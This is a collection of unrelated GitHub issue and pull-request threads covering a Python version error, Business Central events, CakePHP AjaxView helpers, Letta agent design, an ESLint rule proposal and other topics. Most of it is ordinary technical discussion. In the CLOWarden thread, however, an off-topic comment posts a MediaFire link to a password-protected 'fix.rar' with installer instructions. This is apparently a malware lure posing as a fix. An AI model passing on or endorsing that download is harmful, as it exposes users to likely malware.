Error in startup

After running pip3 install metrics2mqtt and starting it up I get the following error message:
pi@smartmeter:~ $ metrics2mqtt
Traceback (most recent call last):
  File "/home/pi/.local/bin/metrics2mqtt", line 7, in <module>
    from metrics2mqtt.base import main
  File "/home/pi/.local/lib/python3.5/site-packages/metrics2mqtt/base.py", line 9, in <module>
    import json, jsons
  File "/home/pi/.local/lib/python3.5/site-packages/jsons/__init__.py", line 97, in <module>
    from jsons import (
  File "/home/pi/.local/lib/python3.5/site-packages/jsons/deserializers/__init__.py", line 13, in <module>
    from jsons.deserializers.default_dict import default_dict_deserializer
  File "/home/pi/.local/lib/python3.5/site-packages/jsons/deserializers/default_dict.py", line 2, in <module>
    from typish import get_args
  File "/home/pi/.local/lib/python3.5/site-packages/typish/__init__.py", line 24, in <module>
    from typish.functions._get_alias import get_alias
  File "/home/pi/.local/lib/python3.5/site-packages/typish/functions/_get_alias.py", line 36, in <module>
    'deque': typing.Deque,
AttributeError: module 'typing' has no attribute 'Deque'

Please advise

It was my bad :) the raspberrypi was running stretch with python 3.5 instead of 3.7 upgraded to buster and everything works


[Event Parameter Change] Codeunit 5763 Whse.-Post Shipment - procedure Code - event OnAfterPostWhseShipment

We would like the parameter/-s SuppressCommit, IsHandled added to the following event.
Codeunit 5763 Whse.-Post Shipment - procedure Code - event OnAfterPostWhseShipment
Original:
Codeunit 5763 - Whse.-Post Shipment - procedure Code - event OnAfterPostWhseShipment

OnAfterPostWhseShipment(WhseShptHeader);

[IntegrationEvent(false, false)]
local procedure OnAfterPostWhseShipment(var WarehouseShipmentHeader: Record "Warehouse Shipment Header")
begin
end;

Change:
IsHandled := false; // <-- ADDED
OnAfterPostWhseShipment(WhseShptHeader, SuppressCommit, IsHandled); // <-- ADDED
if not IsHandled then begin // <-- ADDED
    Commit();
    PrintDocuments();
end; // <-- ADDED

[IntegrationEvent(false, false)]
local procedure OnAfterPostWhseShipment(var WarehouseShipmentHeader: Record "Warehouse Shipment Header"; SuppressCommit: Boolean; var IsHandled: Boolean) // <-- ADDED
begin
end;

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.
Build ID: .


[NT-0] fix: Revert "[OF-815] test: (wrapper gen) unit test async functions"

Checking out behaviour with this change reverted, as most recent C# builds appear to fail in a related area.

Note this change is not intended to be merged, but a means of sanity checking whether the PR being reverted introduced issues when building wrappers for C# CSP

Shutting this one down now that we've found & fixed the issue in https://github.com/magnopus-opensource/connected-spaces-platform/pull/230


Helpers not loading if using Ajax if configured in AppView::initialize()

Bootstrap-UI is working flawlessly with me, except when I use ajax, for instance Ajax Pagination.
Why am I saying this? Because if I set a paginator template it will work when the page is first rendered, but in the following ones I get the default template. The same happens with BootstrapUI.Form (if there are forms inside the pagination).
I noticed that the ajax is ignoring the $this->loadHelper(); instanced in AppView::initialize().
But if I manually set public $helpers into the AppController they will load. So seems that it is not merging into the default configuration, or am I missing something?
I know that this is a CakePHP 3 related question, not a Bootstrap-UI but since I think that other users may also have the same question.
Later I will add the answer to the main CakePHP 3 Docs.

How does your AjaxView class look like?

I haven't created App\AjaxView or changed Cake\AjaxView, but since rest of the content loads ok, I thought that AppView would "figure this out".
After what you said, I looked into the Cake\AjaxView file and there is no initialize() but there is a layout definition and a constructor , but isn't supposed to AppView to merge with global / default config?
I'm thinking in creating an App\AjaxView extending Cake\AjaxView putting only the initialize() method with the loadHelper() methods. Is this the best approach?

Yeah... it works using like this:
App\src\View\AjaxView.php
<?php
namespace App\View;

class AjaxView extends Cake\View\AjaxView
{

    public function initialize()
    {
        parent::initialize();
        $this->loadHelper('Html', ['className' => 'BootstrapUI.Html']);
        $this->loadHelper('Form', ['className' => 'BootstrapUI.Form']);
        $this->loadHelper('Flash', ['className' => 'BootstrapUI.Flash']);
        $this->loadHelper(
    		'Paginator',
    		[
    			'className' => 'BootstrapUI.Paginator',
    			'templates' => 'paginator-template'
    		]
    	);
    }
}

But I'm not sure if this is the best approach. =x

It is a good approach. As you can see the AjaxView class was recently moved out of the core so it can be tweaked in your app code and can also inherit defaults from AppView:
https://github.com/cakephp/app/blob/master/src/View/AjaxView.php


Support managing GitHub organization via CLOWarden

Hi! I'm a maintainer of OpenTelemetry, and we're interested in adopting CLOWarden to manage repos, teams, and organization users. I initially thought CLOWarden would be a 'drop-in' solution for us, but it appears that it is not, mostly due to one reason -- CLOWarden expects that organization membership is tied to team membership. In OpenTelemetry, we do not necessarily follow this  -- contributors become org members first, then are added to specific teams as they move up the contributor ladder.
After looking at the way that other projects which use CLOWarden manage their GitHub orgs, I can see the logic in how CLOWarden does it (adding people as external collaborators to a repo, for instance) -- but I am curious, if we decide to maintain our current strategy for managing membership, would y'all be willing to accept a PR that added a new, 'merged' configuration file format that combined the CNCF and Sheriff concepts that we could use to hoist org membership into CLOWarden with? In essence, I'm thinking of something like this for a format --
organizaton: foo
members:
  - name: bar
    github: FooBar
    slack: "@foobar"
    website: https://foobar.io
  - name: baz
    github: BazQuuz
    slack: "@bigbaz"
    website: https://bazbutnotbazel.com
repositories:
  - name: my-cool-repo
    teams:
      - team1
    settings:
      has_wiki: true
      is_featured: true
teams:
  - name: team1
    maintainers:
      - bar
    members:
      - baz
// etc, etc.

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Hi @austinlparker 👋
Thanks for your interest in CLOWarden!
We'd like to keep this tool as simple as possible for now, and adding support to manage organizations' members isn't in our roadmap at the moment. But we'll keep you posted if the situation changes 🙂
P.S.: as a curiosity, I wanted to share that CLOWarden is able to read users data from the CNCF's people.json file as well. This is the source we use to feed users into the directory. However, even though users changes are made available to the service handlers, the only one available at the moment (GitHub) doesn't react to any of them (i.e. no action is taken in GitHub when a new user is added). Like I mentioned, our goal is to keep everything as simple as possible. But if you consider creating your own fork at some point, maybe this information could be helpful 😇


DataObject Class

When looking at the TSDoc doc the DataObject class, I noticed a weird section about Generics:
Generics: P - represents a type that will define optional providers that will be injected S - the initial state type that the produced data store may take during creation E - represents events that will be available in the EventForwarder

https://fluidframework.com/apis/aqueduct/dataobject/

Links changed, here is the one: https://fluidframework.com/docs/apis/aqueduct/dataobject/
I see only this for O, and nothing for other arguments:
Generics: O - represents a type that will define optional providers that will be injected S - the initial state type that the produced data store may take during creation E - represents events that will be available in the EventForwarder
Here is how it looks in the code:
/**
 * DataObject is a base data store that is primed with a root directory. It
 * ensures that it is created and ready before you can access it.
 *
 * Having a single root directory allows for easier development. Instead of creating
 * and registering channels with the runtime any new DDS that is set on the root
 * will automatically be registered.
 *
 * Generics:
 * O - represents a type that will define optional providers that will be injected
 * S - the initial state type that the produced data store may take during creation
 * E - represents events that will be available in the EventForwarder
 */

@tylerbutler , it sounds like there is some bug that drops content, or we should write comments differently.
Any chance you can take a look?

This will be addressed by PR #6546.


in window error

D:\GoPath\src\github.com\salviati\go-qt5\examples>go run minimal.go
0.1.1
terminate called after throwing an instance of 'std::bad_alloc'
what():  std::bad_alloc
exit status 3

I have the same problem too.
My environment is Windows7 x64, golang 1.5.1 i386, qt-opensource-windows-x86-mingw492-5.5.1
I debug it ,and find that sizeof(goInt) is 8 in the goqtdrv5 project.
I write an simple test code by qtcreator, then I find the "__STDC_LIMIT_MACROS" macro is not defined.
And alfter add this line "#define __STDC_LIMIT_MACROS" in the cdrv.h, it will be all ok

class QLineEdit;

#define __STDC_LIMIT_MACROS

#include <stdint.h>
#if UINTPTR_MAX == 0xffffffff
// 32 bit build
typedef int32_t goInt;
typedef uint32_t goUint;
#else
// 64 bit build
typedef int64_t goInt;
typedef uint64_t goUint;
#endif
typedef uint8_t goBool;


use case: service_restart_total only

I'm currently using node_exporter and have this issue, so raising it here as well.
Metrics like unit_state are quite costly due to cardinality.  In my case with node_exporter it's consuming about ~15% of our entire metric space, affecting scrape times, caching nodes, etc.
My use case requires service_restart_total only, so ideally I'd have a way to disable unit_state and various other default metrics.

:+1: I think we should add a disable/enable flag for it, like we have it in https://github.com/povilasv/systemd_exporter/blob/master/systemd/systemd.go#L32

@povilasv In the metric table of the README, it would be helpful to have a column indicating which enable flags, if any, control the metric.
Are you proposing an enable flag for unit_state only?  It might be OK for my use case, depending on how many metrics remain by default.

I think more like disable flag for unit_state and then let's see if there is another chatty metric, we need a disable flag for ;)


Handling unprocessed_items and unprocessed_keys

how are unprocessed_items for batch_write and unprocessed_keys for batch_read handled?

@pboling @pk-n
Ping

I think having an internal backoff feature would be a good idea for a plugin gem, like dynamoid-backoff.  That way people who don't need the extra feature, because they have already implemented the exponential backoff as suggested by Amazon, won't have it complicating their codebase.  It would also be a good way to force us to think about the public surface of the gem for writing plugins.

Sorry for the delayed response.
I like your idea @andrykonchin of raising an exception with the unprocessed items. Like what @pboling said some gem - retryable  can be used to handle the exponential backoff/ repeated attempts.

@pboling  @pk-n
TBH I don't consider raising an exception as a good approach anymore.

I would like both batch_get_item and batch_write_item to handle unprocessed items themselves and try to read/write unprocessed items until the end. It's a naive approach but it works and it hides problem from a client.
If client wants to have some sort of backoff - OK, we will allow it. Both batch_get_item and batch_write_item may accept block as argument and call it every time when handle unprocessed items. A client can use this block to implement any backoff what he wants, e.g.
result = []
batch_get_item(...) do |ary|
  result << ary
  sleep 2
end

Does it make sense?

We use batch operations in .find_all and .import methods and of course may not implement backoff. But personally I like the idea to have it/them out of the box and not as some plugin. It's easy enough and may be configured in following way for instance:
Dynamoid.config(backoff: {type: :constant, delay: 1.second}) do
  models = Document.import(array_of_items)
  models = Document.find(ids)
end

Drawback of using plugins in this case - they will bring new methods like import_with_backoff or find_with_backoff. Otherwise they should monkey patch and override original methods. I dislike both cases

@andrykonchin I am OK with that approach.  👍

Sounds good.

On 02-Mar-2018, at 5:03 AM, Peter Boling<EMAIL_ADDRESS>wrote:
@andrykonchin https://github.com/andrykonchin I am OK with that approach. 👍
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub https://github.com/Dynamoid/Dynamoid/issues/226#issuecomment-369768625, or mute the thread https://github.com/notifications/unsubscribe-auth/AQh9hK7JyJdE3eBD-Pb3HAlft9tmref-ks5taIU-gaJpZM4RpVZD.


Adding ability to add "Attributes"

@calston
Riemann events support Attributes, so I'm adding that capability in Tensor.
I apologize about the gratuitous method signature reformatting; I just thought it was getting a little unwieldy.
I've also added some missing arguments to the docstring. Let me know if this looks okay!
Usage would be from a Source:
event = self.createEvent(
    'ok',
    "{} since {} was modified".format(touch_time, filename),
    file_age_in_sec,
    prefix="age",
    attributes={"location": "datacenter1"})

@calston Sorry for all the bogus commits here; I don't see a way to test this without Travis, unless I were to test it on a VM with Riemann running. Is that right?

I think we have a fake Riemann server for tests, I'll take a look in the morning - I'm 99% certain there were other tests needing that.

@calston Thanks. For now, the new test I added passes -- I'm ensuring that the attribute keyword arg gets passed on to the actual Protobuf Event, which it does.

@calston Thanks for the merge. Any chance we could get this package published to pypi?

Yes, I do just want to run it through my testbed and I have some other stuff I want to get into a release.

On 14 Oct 2015, at 5:47 PM, Robin Walsh<EMAIL_ADDRESS>wrote:
@calston Thanks for the merge. Any chance we could get this package published to pypi?
—
Reply to this email directly or view it on GitHub.

@calston great, thanks!

@hobbeswalsh Release has been published

@calston Excellent, thanks!


Separate Core Agent and Server functionalities..Make agent embeddable

Is your feature request related to a problem? Please describe.
For some of the use cases, we need to execute tools which has local resource dependency...example Code generation, build and deploy etc... At present, we need to deploy entire agent and server code to get this working... Is is possible to isolate [agent+tools] and server code?
Describe the solution you'd like
-Keep agent light weight with ability deploy tools along side agents .

One should able to embed agents into their apps.. Example can extend agent base image and add more features as required
Agent can talk to letta server to fetch memory, documents/sources , settings etc

Describe alternatives you've considered
I am prototyping building workflow which uses a specific agent ..agent needs to execute tools on local resource, i end setting up letta per workflow, which i think little overkill considering letta already has tenancy/ruser based isolation that I can work with.

Is the use-cases here that you want to have an ephemeral agent embedding in your application? The reason why we have a lot of stuff related to persistence (and requiring tools to be persistable outside of the application) is so that agents can be fully saved in a DB and reloaded later by the server. Or is it that you want to have persisted agents (agent memories are saved) but tools only exist locally?
The challenge with having the server executing remotely but the tools executing locally is that then there needs to be a way for the server to communicate back to the local code to request that it execute a tool. This could be done by having a listener on the client that allows it to receive requests from the server, or to have internal client code manage multiple requests to the server until the server has completed execution:
[client] call agent
[server] run agent step(), call tool_A -> send tool_A(args) to client
[client] execute tool_A(args) -> send response to server
[server] continue...

An alternative would be for you to use the LocalClient (if you are using Python) so that the server code is running on your machine, but we have Tool objects actually not be persisted, and the agent has access to a reference to the code you want to run -- and this is used instead of loading the tool code form the DB (what happens now). So
def my_local_function(self, args)
    ...

tool = Tool(func=my_local_function, ...)

agent = client.create_agent(tools=[tool], ...)

This would require fewer changes to Letta, but would require that the code be written in Python and is a bit hacky (and you also wouldn't be able to interact with a remote server).
Let me know what you think of either of these options, and if I'm understanding your issue correctly.

Hi Sarah,
Apologies for the delayed response; I’ve been a bit tied up with work.
Please find my comments below:
Is the use case here that you want an ephemeral agent embedded in your
application? Or do you want persisted agents (with saved memories) but
tools that only exist locally?
Yes, my use case involves creating a workflow within my application for
specific tasks, where one or more agents are attached to automate specific
aspects of the app being developed. These agents are configured for
specific personas and execute task-specific workflows.
Here’s how I envision it:

A workflow consists of agent steps that take inputs, produce outputs,
and optionally read/write to agent memory.
Agents are composable within each step, meaning they can be
bootstrapped in a container. Once a task is completed, the agent running in
the container is terminated and the agent state is persisted in server.
The agent performs tasks requiring tool execution in the local runtime
environment within the workflow—for example, building, packaging, or
deploying. If errors occur, the steps can be retried.

The workflow can be represented as a DAG of agent steps.
Specific Requirements:

State Persistence: The agent’s state should be saved on the server,
which aligns with my needs. However, I don’t want the agent step to run
entirely on the server. Instead, the agent should interact with the server
to manage memory, handle conversations, etc. Tools requiring execution
should run locally.
Execution Flow:

Configure the agent using a Docker image with necessary environment
inputs.
When the Docker container is created, it pulls tools and installs
dependent packages.
The application initiates a chat pointing to the agent running in
the container.
The agent interacts with the server for responses. If a response
requires tool execution, it happens locally in the container.

Ephemeral Chats: Conversations with the agent are ephemeral, but
the entire chat history is stored on the server. If the same agent is
attached to a new workflow, it can resume from its previous state. If a
clean state is required, a new agent must be provisioned.
Short-Term Memory: It’s unclear whether short-term memory should
persist locally or on the server. Open to suggestions here.

I’d be happy to demonstrate the integration on the platform I’m building or
discuss this further over a call to clarify any questions.
Thanks again for your support!
regards
_lnr
On Tue, Nov 12, 2024 at 12:14 AM Sarah Wooders @.***>
wrote:

Is the use-cases here that you want to have an ephemeral agent embedding
in your application? The reason why we have a lot of stuff related to
persistence (and requiring tools to be persistable outside of the
application) is so that agents can be fully saved in a DB and reloaded
later by the server. Or is it that you want to have persisted agents (agent
memories are saved) but tools only exist locally?
The challenge with having the server executing remotely but the tools
executing locally is that then there needs to be a way for the server to
communicate back to the local code to request that it execute a tool. This
could be done by having a listener on the client that allows it to receive
requests from the server, or to have internal client code manage multiple
requests to the server until the server has completed execution:
[client] call agent
[server] run agent step(), call tool_A -> send tool_A(args) to client
[client] execute tool_A(args) -> send response to server
[server] continue...
An alternative would be for you to use the LocalClient (if you are using
Python) so that the server code is running on your machine, but we have
Tool objects actually not be persisted, and the agent has access to a
reference to the code you want to run -- and this is used instead of
loading the tool code form the DB (what happens now). So
def my_local_function(self, args)
...
keep a reference to the code, to call from the locally running servertool = Tool(func=my_local_function, ...)
agent = client.create_agent(tools=[tool], ...)
This would require fewer changes to Letta, but would require that the code
be written in Python and is a bit hacky (and you also wouldn't be able to
interact with a remote server).
Let me know what you think of either of these options, and if I'm
understanding your issue correctly.
—
Reply to this email directly, view it on GitHub
https://github.com/letta-ai/letta/issues/2021#issuecomment-2468817753,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAGPZOLTUQ43BXHLZ4MX2B32AD3J3AVCNFSM6AAAAABRRFLTROVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDINRYHAYTONZVGM
.
You are receiving this because you authored the thread.Message ID:
@.***>


[threejs] building placement different between client and contract for N-E direction

some buildings don't get their bonus because there's a difference between contract and client position
https://github.com/BibliothecaDAO/eternum/issues/1259#issuecomment-2294186854

Linked to issue #1259


Kwikius angle

Experimental angle as dimension. Just for fun  since clearly it doesnt agree with the SI.

EDIT : I had to modify the linear algebra example to changed deduced iterators to unsigned , which is not relevant but wont get to build the experimental angle example otherwise

Shouldn't the angle exponent be -1 in
struct dim_torque : derived_dimension<Child, U, exp<E, 1>, exp<A, 1>> {};
? See table 1 in https://arxiv.org/pdf/1604.02373.pdf

Shouldn't the angle exponent be -1 in
struct dim_torque : derived_dimension<Child, U, exp<E, 1>, exp<A, 1>> {};
? See table 1 in https://arxiv.org/pdf/1604.02373.pdf

Maybe. I think there are quite a few issues with it, so look at it as a tentative start to be played around with rather than anything conclusive. ( Incidentally the Travis CL fail doesnt seem to be rlated to this pull request and it is building OK locally)
As an alternative to rad^-1 look at wikipedia's orientational analysis, where it gives torque units as "Torque will have dimensions M . L^2 . θ  / T"
In the wider view, maybe the best way for this to go is to move this experiment out of the SI namespace and use it to see how easily the mpusz/units library can be used to define alternative customised quantity systems as in the wikipedia link. You can then test out all the possibilities.
I hope to get some time to also do an "angle as value_type" version too. That remains my preferred choice since it is easier to fit in without radical diversion from the S.I. system

Thanks! Let's play with it and see where it takes us....


Add missing s

Thank you very much for your pull request.
The "s" is omitted here because the default menu is intended to reflect the structure of the official example site: https://github.com/gohugoio/hugoBasicExample
Feel free to alter the menu in your site config file. For an example, see https://github.com/de-souza/blog.de-souza.eu/blob/master/config.yaml

@de-souza Ok, I see. It was weird that this was an error actually :smile:
Thank you very much for your work, and thank you for your super nice reply! :+1:


set client idle timeout to 3 hours

We have a scenario where one Jenkins instance (the Dev Jenkins) triggers a job in another instance (deployment job in Ops Jenkins) via SSH and waits for job completion. The Dev Jenkins job wants to know the completion status of job in Ops Jenkins and also needs to include output of job triggered in Ops Jenkins.
Everything works fine if the Ops Jenkins completes quickly. Sometimes the deployment job takes a bit longer (restarts, orchestrations) and then the Dev Jenkins receives timeout, failing entire deployment pipeline, despite the fact that deployment job continues and eventually succeeds.
This tiny patch sets client idle timeout to 3 hours, which is better than infinity and more than enough for our case.

@kohsuke @jglick @olamy @jenkinsci/code-reviewers  WDYT about this change ? I think it makes sense ?

I would strongly vote for making it configurable and keeping the default value by default.
By increasing the timeout the change also increases the error propagation delay in the case of real issues.
So my suggestion would be to use SystemProperties

yes @oleg-nenashev I'm agree with you. I'm in favor to make it configurable, but not to change the default value. I read too quickly the change.

Configuration via system property is 100% fine.

Should use the new jenkins.util.SystemProperties facility.

@daniel-beck YES but on >= 2.4 and for now https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/jenkins/util/SystemProperties.java#L65
 * @since TODO
 */
//TODO: Define a correct design of this engine later. Should be accessible in libs (remoting, stapler) and Jenkins modules too
@Restricted(NoExternalUse.class)

Fixed by #6


Allow plain text as input

Thank you for making this tool!
I usually need to test my regex pattern on a string (usually a path name to make it more confusing :smile:), not file content. Right now, rexi only accepts a file path with the -i option or stdin, so I need to type:
echo "my-file/path/I_want_to_test.zip" | rexi
Is it possible to add an option to input a string?
It would also be a great complement to #22

Sounds like a cool idea! Would you like to provide a pr for that?


Make checking out ALL medication easier

On the Manage Rx tab

Add a Checkout column that is editable to the right of the Edit column
Add a Print Medication Checkout button that will become enabled if there are any positive values in any Checkout row.
When the Print Medication Checkout button is clicked (bring up a confirm changes dialog) and if Yes is selected:

All rows with positive values in the Checkout column are saved to the back-end and are zeroed out.
The Medicine Checkout tab becomes active.

Addressed in the latest build tag: 0.3.12


style: :art: split into sections

Tables split. Improved navigation with index and letter jump options

🗣 Description

💭 Motivation and context

🧪 Testing

✅ Pre-approval checklist

[x] This PR has an informative and human-readable title.
[ ] Changes are limited to a single goal - eschew scope creep!
[ ] All future TODOs are captured in issues, which are referenced
in code comments.
[ ] All relevant type-of-change labels have been added.
[x] I have read the CONTRIBUTING document.
[ ] These code changes follow cisagov code standards.
[ ] All relevant repo and/or project documentation has been updated
to reflect the changes in this PR.
[ ] Tests have been added and/or modified to cover the changes in this PR.
[ ] All new and existing tests pass.

✅ Pre-merge checklist

[ ] Revert dependencies to default branches.
[ ] Finalize version.

✅ Post-merge checklist

[ ] Add a tag or create a release.

Closing because this applies to old README.md markdown that contained table.  We have moved table to SOFTWARE-LIST.md.  We will take your recommendations into consideration regarding table orginization.


Command Buffered Camera hardcodes full opacity.

This line in the CommandFrameBufer shader causes the captured image's alpha to be ignored and replaced by full opacity:
https://github.com/Unity-Technologies/GenericFrameRecorder/blob/master/source/FrameRecorder/Inputs/CBRenderTexture/Shaders/CopyFrameBuffer.shader#L53
When the Camera used for recording has its Clear Flags set to "Solid Color", the Background color's alpha component can be set by the user and ends up in the rendered image. But the shader overwrites this color (possibly to overcome the fact that the default alpha value of this color is 0=fully transparent?).
Commenting-out this line in the shader causes recording with alpha to work as expected.

(possibly to overcome the fact that the default alpha value of this color is 0=fully transparent?)

I think this is the case (but not sure. this part was written over a year ago), and I think it is safe to change. I changed locally and tested. it seems no problem.

added UI option to preserve transparency.


unable to run 'Install R bindings' script

I'm unable to run the 'install R bindings' script in ArcGIS Pro 1.1 (as administrator) with R 3.2.2
Running Windows 8.1 x64 on VMware Fusion
Any help is very appreciated!
A.
Running script InstallBindings...
Traceback (most recent call last):
File "", line 164, in execute
File "C:\Users\Ansley Charbonneau\Documents\r-bridge-install-master\r-bridge-install-master\rtools\install_package.py", line 126, in install_package
r_integration_dir = os.path.join(arcmap_install_path, "Rintegration")
File "c:\program files\arcgis\pro\bin\Python\lib\ntpath.py", line 108, in join
result_drive, result_path = splitdrive(path)
File "c:\program files\arcgis\pro\bin\Python\lib\ntpath.py", line 159, in splitdrive
if len(p) > 1:
TypeError: object of type 'NoneType' has no len()
Failed to execute (InstallBindings).

@ancharb Can you get the latest version of the package and see if it works correctly? There was an issue with handling support on Pro that has been resolved. Thanks for the report, Shaun

Good to hear, although I fixed the issue by installing the arcbindings package in R.
Thanks for your response!


feat(Datagrid): persist col resizing values in local storage

Contributes to #1923 and #2507
Now that we are controlling the column resizing we have the ability to persist the column widths to local storage after a column resize event and when the page refreshes the columns will maintain the resized width instead of reverting to the original width.
What did you change?
packages/ibm-products/src/components/Datagrid/Datagrid/addons/stateReducer.js
packages/ibm-products/src/global/js/utils/getLocalStorageItem.js
packages/ibm-products/src/global/js/utils/setLocalStorageItem.js

How did you test and verify your work?
Storybook

Going to close in favor of https://github.com/carbon-design-system/ibm-products/pull/3406


Rename release branches to releases/Major.Minor and apply branch protection rules

Parent Issue: botframework-sdk/issues/6468
Summary
We don't have branch protection rules enabled on our release branches and we name them as RXY (R14, R15, etc.).  There are two problems with this approach:

Defining a branch protection rule for R* is to broad and will impact any branch that starts with "r".
RXY doesn't mean much to people outside the team

The changes involve:

Renaming all the release branches to releases/Major.Minor
Adding a branch protection rule with the pattern releases/* and enforce the same restrictions we have on main on release branches.

The renamed branches will look like this:

The branch protection rules for release branches will look like this:

Completed for all branches.


Ghidra Global Variable Watching

Adds watcher support for global variable renaming. Closes #47

@mahaloz do I need to worry about handling the deleted kwarg for the global variable change function. It doesn't look like its implemented like the others but ghidra deletes the global when we rename

@Flipout50 nah, skip it for now.


Proposal: default-import-match-filename

I often see things such as:
import parseDate from './types/date';
import float from './types/parseFloat';

The disparity between the default import name (parseDate) and file name (date) often indicates that one or the other is named inappropriately. In the first case, thats the file name. In the second case, thats the local variable name.
Valid code:
import parseFloat from './types/parseFloat';
import parseDate from './types/parseDate';

Invalid code:
import parseDate from './types/date';
import float from './types/parseFloat';

There is no way to enforce a right name, e.g. user could just as well end up with:
import date from './types/date';
import float from './types/float';

However, I would argue that these issues are easy to notice in the code. Having this rule would prevent lazy developers from using a better variable name in a local file and ignore the need to rename the file and other references.
Furthermore, this enables easier code inspection (because it is easy to recognise what a variable represents when it is being used consistently between many files).

Makes sense to me. Probably needs a little more detail/scope to build out.
How would you propose packages be handled? I.E.
import React from 'react'

is idiomatic, but not sure how one would divine this from just the import path.

I would propose to have a separate rule for overseeing module imports and separate rule for importing files, i.e. default-import-match-module and default-import-match-filename. I will leave the question of react case to whoever becomes a proponent of the default-import-match-module rule.

Got it, so this rule's scope would be only internal relative imports, as you've described?

We've had a similar discussion on eslint-plugin-xo https://github.com/sindresorhus/eslint-plugin-xo/issues/6, though we only spoke about modules (but I think they should probably be considered the same).
I have trouble seeing all these rules as something that can be generalized enough. For example, how would you enforce / generalize the following?
import parseFloat from './parse/float';
import parseDate from './parse/date';
import formatFloat from './format/float';
import formatDate from './format/date';

or
import closeToFoo from './foo';

function foo(...) { ... }

export foo;

cc @jamestalmage @sindresorhus

I would think that such a folder layout simply couldn't use the rule that @gajus has described.
It would be workable as he has described if it stays as simple as "default import identifiers should match an imported file's name".

First of all, if you have:
import parseFloat from './parse/float';
import parseDate from './parse/date';
import formatFloat from './format/float';
import formatDate from './format/date';

This is specifically the design flaw that I am describing.
What is the reason you are naming your variables different than the files? In this specific context, it is because variable name makes more sense in the code than simply "float" or simple "date". Then what is the reason you are naming a file containing "parseFloat" function as "float"? It makes no sense. When considering file name, file path should have no weight. With rule, you would be forced to restructure your code as:
import parseFloat from './parse/parseFloat';
import parseDate from './parse/parseDate';
import formatFloat from './format/formatFloat';
import formatDate from './format/formatDate';

(or choose not to use the rule).

When considering file name, file path should have no weight

Hm, I'd like to disagree. I don't see why the file path should have no weight. If I have my float handler in a parse/ folder, then I'm just repeating myself, and I don't see the point. I also often have a folder with an index.js file (like foo/bar/index.js), so that I can just do import bar from './foo/bar'; and "hide" the internal workings in other files. It's not per se in conflict with the rules, just pointing out that I need the file path to infer what foo/bar/index.js does, while being a valid use IMO. This pattern has worked fine for me thus far.
(if you guys feel like I'm taking the conversion somewhere it shouldn't, I'll be happy to discuss this somewhere else).

(or choose not to use the rule)

That is of course an acceptable solution ;) I have no issue with this issue being in the repo at all. I just have a concern that if you generalize this to external modules (it is similar, but I guess that it is done for different purposes here, so one could argue one way or the other IMO), then you'd have issues all over the place for handling it one way or another, have exceptions, etc., and that could be a huge burden on the maintainer.

Hm, I'd like to disagree. I don't see why the file path should have no weight. If I have my float handler in a parse/ folder, then I'm just repeating myself, and I don't see the point. I also often have a folder with an index.js file (like foo/bar/index.js), so that I can just do import bar from './foo/bar';

I can think of many examples. However, style is one of those things that it is easy to find arguments in both directions.
To quickly summarize my position:

You want to name files the same way you will name the variable that will represent the file contents. The reason: it will promote consistent name of a resource throughout the code base.

A path of the file will not always be visible. Consider example:
./formatters/hour.js
./formatters/minute.js
./formatters/time.js

Now in ./time.js you want to import ./hour.js and ./minute.js.
You cannot tell what ./hour and ./minute only by scanning the code (such is often the case when reviewing code fragments in PRs)

There are a few more arguments (such as promoting code re-usability), though this is getting off-topic.
This rule is opt-in and it will benefit developers who prefer explicit code naming conventions.

I think we need default-export-match-filename too.
Example
# MyComponent.js
export default function MyComponent() { return ... }

I think this rule (both export & import) can be configured by

what to match

base file name
full path from project root (module id?)

how to match

exact match (as Airbnb style)
filename/module id kebab case (friendly to Windows users, consistent with npm)
...

how to treat index.js

no special handling
the folder name is used as base file name or full path end

Then we can fit all requirements from different projects above, and leave the option to users.
For
import parseFloat from './parse/float';
import parseDate from './parse/date';
import formatFloat from './format/float';
import formatDate from './format/date';

It's valid for "full path" match, but not "base file name" match.

I'm not sure about your latter example - is parseFloat valid if the path is ./a/b/c/parse/float?
I think the rule should only ever use the base filename, or the base dirname if it's an index (the latter could be configurable, but should be on by default).
The rule would need to handle the most common cases; it's not practical for it to attempt to cover every conceivable pattern.

@ljharb
parseFloat is not valid when the path is ./a/b/c/parse/float for either “full path" match or "base filename" match. There will be only one parseFloat for the whole project, I think it's ok that it's at the top level of project as parseFloat.js or parse/float.js for grouping.
Matching base filename is not always good, especially for big project which has complicated features which is grouped by folders. As an example, there is one file named feature/subFeature/subSubFeature/Editor, we want it have a good name for readability/debuggability, then should we change the file to feature/subFeature/subSubFeature/FeatureSubFeatureSubSubFeatureEditor? Why duplicate the path again? That's same for parse/float too: parseFloat shows up with parse/float when importing import parseFloat from 'parse/float', later parseFloat is self-describing by its name, every code piece is readable, and no duplicate in path.
And, ./a/b/c/parse/float is not covered here :).

Any argument for parse/float being parseFloat also argues for feature/parse/float being featureParseFloat.

Hello! I’m looking for a similar rule but with a different approach:

A rule that gives an error if the filename is different from the default export name, basically this https://github.com/benmosher/eslint-plugin-import/issues/325#issuecomment-280840161
A rule that gives an error if the import name is different from the export name, basically what was described in https://github.com/benmosher/eslint-plugin-import/issues/1041, and what was done in https://github.com/palantir/tslint/pull/2117

(I’ve checked the current released rules, https://github.com/benmosher/eslint-plugin-import/pull/1143 and https://github.com/benmosher/eslint-plugin-import/pull/1476 and none of them seem to cover that)
I was wondering if implementing this proposal, means that https://github.com/benmosher/eslint-plugin-import/issues/1041 won’t be implemented? Or can the 2 rules coexist?

@CarinaChenot I'd personally want to enforce that the filename matches the default export name, but I'd never want to enforce that users import it with the same name. However, many do want to impose that on their codebases.
Since the logic for "filename → export name" would need to be shared, it could be done as two separate rules, or as two options on one rule. Either way, I'm not interested in adding the import-side restriction unless the export-side one exists first/at the same time.

@golopot How about publishing this rule as its own package?

@golopot How about publishing this rule as its own package?

I am not planning on it. But I am fine If anyone wants to create a package based on my pull request.

Hi
@golopot, thanks for writing a great rule.
For educational purpose,
I have made a separate eslint-plugin that provides your 'default-import-match-filename' rule,
with 'default-export-match-filename' rule which I got from eslint-plugin-filenames
https://github.com/minseoksuh/eslint-plugin-consistent-default-export-name
I made it abundantly clear in the README and in the code who the authors of the code are.
